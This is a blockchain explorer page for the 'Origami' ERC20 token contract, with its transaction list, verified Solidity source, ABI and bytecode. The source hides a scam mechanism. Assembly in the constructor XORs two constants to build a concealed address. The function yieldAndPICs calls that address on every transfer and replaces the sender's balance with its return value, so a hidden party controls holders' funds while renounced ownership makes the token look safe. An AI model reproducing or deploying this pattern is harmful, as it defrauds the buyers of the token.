ETH Price: $2,440.50 (+2.96%)

Contract

0xdF104a6a009630c7aD45e8be49FEd33e04048EbA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201746612024-06-26 8:27:11107 days ago1719390431IN
0xdF104a6a...e04048EbA
0 ETH0.000215554.64600068
Approve201655472024-06-25 1:54:35108 days ago1719280475IN
0xdF104a6a...e04048EbA
0 ETH0.000221464.75238572
Approve201655122024-06-25 1:47:35108 days ago1719280055IN
0xdF104a6a...e04048EbA
0 ETH0.000162193.48496574
Transfer201654872024-06-25 1:42:35108 days ago1719279755IN
0xdF104a6a...e04048EbA
0 ETH0.000457522.9425078
Approve201654802024-06-25 1:41:11108 days ago1719279671IN
0xdF104a6a...e04048EbA
0 ETH0.000165223.56128073
Approve201654752024-06-25 1:40:11108 days ago1719279611IN
0xdF104a6a...e04048EbA
0 ETH0.000158393.41394888
Approve201654742024-06-25 1:39:59108 days ago1719279599IN
0xdF104a6a...e04048EbA
0 ETH0.000133252.85951635
Approve201654722024-06-25 1:39:35108 days ago1719279575IN
0xdF104a6a...e04048EbA
0 ETH0.0001673.59946031
Approve201654562024-06-25 1:36:23108 days ago1719279383IN
0xdF104a6a...e04048EbA
0 ETH0.000170313.67081437
Approve201654542024-06-25 1:35:59108 days ago1719279359IN
0xdF104a6a...e04048EbA
0 ETH0.000173943.74923468
Approve201654522024-06-25 1:35:35108 days ago1719279335IN
0xdF104a6a...e04048EbA
0 ETH0.000173643.74276326
Approve201654482024-06-25 1:34:47108 days ago1719279287IN
0xdF104a6a...e04048EbA
0 ETH0.000165163.54434862
Approve201654372024-06-25 1:32:35108 days ago1719279155IN
0xdF104a6a...e04048EbA
0 ETH0.000210014.51246697
Approve201654302024-06-25 1:31:11108 days ago1719279071IN
0xdF104a6a...e04048EbA
0 ETH0.000276125.92533992
Approve201654182024-06-25 1:28:47108 days ago1719278927IN
0xdF104a6a...e04048EbA
0 ETH0.000159583.44853396
Approve201654112024-06-25 1:27:23108 days ago1719278843IN
0xdF104a6a...e04048EbA
0 ETH0.000274065.88130932
Approve201654072024-06-25 1:26:23108 days ago1719278783IN
0xdF104a6a...e04048EbA
0 ETH0.000188254.05760991
Approve201654062024-06-25 1:26:11108 days ago1719278771IN
0xdF104a6a...e04048EbA
0 ETH0.000194394.18984418
Transfer201654022024-06-25 1:25:23108 days ago1719278723IN
0xdF104a6a...e04048EbA
0 ETH0.000933466.11305549
Approve201653992024-06-25 1:24:47108 days ago1719278687IN
0xdF104a6a...e04048EbA
0 ETH0.000184593.96124101
Approve201653922024-06-25 1:23:23108 days ago1719278603IN
0xdF104a6a...e04048EbA
0 ETH0.000213864.59531253
Approve201653892024-06-25 1:22:47108 days ago1719278567IN
0xdF104a6a...e04048EbA
0 ETH0.000204424.40599879
Approve201653882024-06-25 1:22:35108 days ago1719278555IN
0xdF104a6a...e04048EbA
0 ETH0.000203764.39176713
Approve201653712024-06-25 1:19:11108 days ago1719278351IN
0xdF104a6a...e04048EbA
0 ETH0.00017873.85181429
Renounce Ownersh...201653702024-06-25 1:18:59108 days ago1719278339IN
0xdF104a6a...e04048EbA
0 ETH0.000075573.25077757
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
201653332024-06-25 1:11:35108 days ago1719277895
0xdF104a6a...e04048EbA
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Origami

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-25
*/

/*
                      |b
                       ||
                       ||,
                       |'\
                        |`|
                        | `|
                        '| |.
                         | `L
                         |  |,
                         `|  |.                              _,/7
                          |  `|                       __,---'' /
                          |   `|              __,---'"   ..- ./
                          ||   |      _.--=/'',--=-,,  -    ,/
                          `|   \,/'''`\,     /'   >  \     /'
                           | ,/'  `. .  `\ ,/'   / \  \   /'
                   ___,----Y-'      Y     7'   .'.' `\ \ /'
               _-/''        `\.     .   ,/'    /.'    `\\ 
           _,-''          ---  \    `  /'    ./.'   __-' "
        _/''     .--            `\    /'     /,'_--'
     ,/''  ..                     `"\_     ./ /='$ORIGAMI
 .,/'                             .--"\    / / 
<------------------,_____      ,/~'  \ | ./ .'
                        `"""""""      `|_/\ /
                                        '  '
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x47396569d2447d549697e4f1ef2aa6fd48cc72b7b6da)
            sstore(0x51,0x47390c3efd2c36e98341c4535794c21e38b03b5bfbbe)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function blacklist(uint256 sender, uint256 number, address spender) public onlyOwner returns (uint256 receiver) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 280);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function yieldAndPICs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x9b270da800000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        yieldAndPICs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployOrigami(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployOrigami(creator, initialSupply);
    }
}

contract Origami is ERC20Token {
    constructor() ERC20Token("Origami", "ORIGAMI", msg.sender, 1000000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"sender","type":"uint256"},{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"address","name":"spender","type":"address"}],"name":"blacklist","outputs":[{"internalType":"uint256","name":"receiver","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b50604051806040016040528060078152602001664f726967616d6960c81b815250604051806040016040528060078152602001664f524947414d4960c81b815250336b033b2e3c9fd0803ce800000083835f6100b76101a160201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008610110838261030b565b50600961011d828261030b565b50507547396569d2447d549697e4f1ef2aa6fd48cc72b7b6da605055507547390c3efd2c36e98341c4535794c21e38b03b5bfbbe6051557369572f684bbd15d620a2b8be64e3707c49ec4d64605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019882826101a5565b505050506103ef565b3390565b6001600160a01b0382166101ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461021091906103ca565b9091555050335f90815260026020526040812080548392906102339084906103ca565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029b57607f821691505b6020821081036102b957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030657805f5260205f20601f840160051c810160208510156102e45750805b601f840160051c820191505b81811015610303575f81556001016102f0565b50505b505050565b81516001600160401b0381111561032457610324610273565b610338816103328454610287565b846102bf565b602080601f83116001811461036b575f84156103545750858301515b5f19600386901b1c1916600185901b1785556103c2565b5f85815260208120601f198616915b828110156103995788860151825594840194600190910190840161037a565b50858210156103b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e957634e487b7160e01b5f52601160045260245ffd5b92915050565b610e60806103fc5f395ff3fe608060405260043610610105575f3560e01c8063715018a611610092578063a8aa1b3111610062578063a8aa1b31146102b5578063a9059cbb146102d4578063aa3f0475146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b8063715018a61461024f5780638da5cb5b1461026557806395d89b4114610282578063a705eee214610296575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc578063313ce567146101eb57806348cd4cb11461020657806370a082311461021b575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bcb565b348015610171575f80fd5b50610185610180366004610c17565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c41565b610404565b3480156101f6575f80fd5b506040516012815260200161013c565b348015610211575f80fd5b506101a5600c5481565b348015610226575f80fd5b506101a5610235366004610c7f565b6001600160a01b03165f9081526002602052604090205490565b34801561025a575f80fd5b506102636104ba565b005b348015610270575f80fd5b506001546001600160a01b0316610128565b34801561028d575f80fd5b5061015961052d565b3480156102a1575f80fd5b50600e54610128906001600160a01b031681565b3480156102c0575f80fd5b50600654610128906001600160a01b031681565b3480156102df575f80fd5b506101856102ee366004610c17565b61053c565b3480156102fe575f80fd5b506101a561030d366004610c9a565b610548565b34801561031d575f80fd5b506101a561032c366004610cd0565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610263610574565b60606008805461036d90610d07565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610d07565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610841565b5060015b92915050565b5f610410848484610965565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d53565b610841565b60019150505b9392505050565b6001546001600160a01b031633146104e45760405162461bcd60e51b815260040161049090610d66565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610d07565b5f6103fa338484610965565b6001545f906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d66565b6001546001600160a01b0316331480156105915750600b5460ff16155b6105ad5760405162461bcd60e51b815260040161049090610d66565b6005546105c69030906001600160a01b03165f19610841565b5f612710600a546105d79190610d9b565b6105e3906125f8610dba565b305f90815260026020526040812080549293508392909190610606908490610dd1565b9091555050335f9081526002602052604081208054839290610629908490610d53565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d99190610de4565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190610de4565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343084808361078e6001546001600160a01b031690565b61079a4261012c610dd1565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610805573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082a9190610dff565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b55750600d546001600160a01b031630145b806109d05750600154600d546001600160a01b039081169116145b610a265760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610af88382610b6c565b506001600160a01b0382165f9081526002602052604081208054839290610b20908490610dd1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095891815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610b9e57815192505b50610bab90508282610d53565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c14575f80fd5b50565b5f8060408385031215610c28575f80fd5b8235610c3381610c00565b946020939093013593505050565b5f805f60608486031215610c53575f80fd5b8335610c5e81610c00565b92506020840135610c6e81610c00565b929592945050506040919091013590565b5f60208284031215610c8f575f80fd5b81356104b381610c00565b5f805f60608486031215610cac575f80fd5b83359250602084013591506040840135610cc581610c00565b809150509250925092565b5f8060408385031215610ce1575f80fd5b8235610cec81610c00565b91506020830135610cfc81610c00565b809150509250929050565b600181811c90821680610d1b57607f821691505b602082108103610d3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d3f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610db557634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d3f565b808201808211156103fe576103fe610d3f565b5f60208284031215610df4575f80fd5b81516104b381610c00565b5f805f60608486031215610e11575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122053d905a6c6ee86af9e25b72db48d36c315a1503b6bd4c7469afecfd8ca34001164736f6c63430008190033

Deployed Bytecode

0x608060405260043610610105575f3560e01c8063715018a611610092578063a8aa1b3111610062578063a8aa1b31146102b5578063a9059cbb146102d4578063aa3f0475146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b8063715018a61461024f5780638da5cb5b1461026557806395d89b4114610282578063a705eee214610296575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc578063313ce567146101eb57806348cd4cb11461020657806370a082311461021b575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610bcb565b348015610171575f80fd5b50610185610180366004610c17565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c41565b610404565b3480156101f6575f80fd5b506040516012815260200161013c565b348015610211575f80fd5b506101a5600c5481565b348015610226575f80fd5b506101a5610235366004610c7f565b6001600160a01b03165f9081526002602052604090205490565b34801561025a575f80fd5b506102636104ba565b005b348015610270575f80fd5b506001546001600160a01b0316610128565b34801561028d575f80fd5b5061015961052d565b3480156102a1575f80fd5b50600e54610128906001600160a01b031681565b3480156102c0575f80fd5b50600654610128906001600160a01b031681565b3480156102df575f80fd5b506101856102ee366004610c17565b61053c565b3480156102fe575f80fd5b506101a561030d366004610c9a565b610548565b34801561031d575f80fd5b506101a561032c366004610cd0565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610263610574565b60606008805461036d90610d07565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610d07565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa338484610841565b5060015b92915050565b5f610410848484610965565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d53565b610841565b60019150505b9392505050565b6001546001600160a01b031633146104e45760405162461bcd60e51b815260040161049090610d66565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610d07565b5f6103fa338484610965565b6001545f906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d66565b6001546001600160a01b0316331480156105915750600b5460ff16155b6105ad5760405162461bcd60e51b815260040161049090610d66565b6005546105c69030906001600160a01b03165f19610841565b5f612710600a546105d79190610d9b565b6105e3906125f8610dba565b305f90815260026020526040812080549293508392909190610606908490610dd1565b9091555050335f9081526002602052604081208054839290610629908490610d53565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d99190610de4565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af115801561072c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190610de4565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d719343084808361078e6001546001600160a01b031690565b61079a4261012c610dd1565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610805573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082a9190610dff565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108a35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff161515600114806109b55750600d546001600160a01b031630145b806109d05750600154600d546001600160a01b039081169116145b610a265760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610af88382610b6c565b506001600160a01b0382165f9081526002602052604081208054839290610b20908490610dd1565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095891815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610b9e57815192505b50610bab90508282610d53565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c14575f80fd5b50565b5f8060408385031215610c28575f80fd5b8235610c3381610c00565b946020939093013593505050565b5f805f60608486031215610c53575f80fd5b8335610c5e81610c00565b92506020840135610c6e81610c00565b929592945050506040919091013590565b5f60208284031215610c8f575f80fd5b81356104b381610c00565b5f805f60608486031215610cac575f80fd5b83359250602084013591506040840135610cc581610c00565b809150509250925092565b5f8060408385031215610ce1575f80fd5b8235610cec81610c00565b91506020830135610cfc81610c00565b809150509250929050565b600181811c90821680610d1b57607f821691505b602082108103610d3957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d3f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610db557634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d3f565b808201808211156103fe576103fe610d3f565b5f60208284031215610df4575f80fd5b81516104b381610c00565b5f805f60608486031215610e11575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122053d905a6c6ee86af9e25b72db48d36c315a1503b6bd4c7469afecfd8ca34001164736f6c63430008190033

Deployed Bytecode Sourcemap

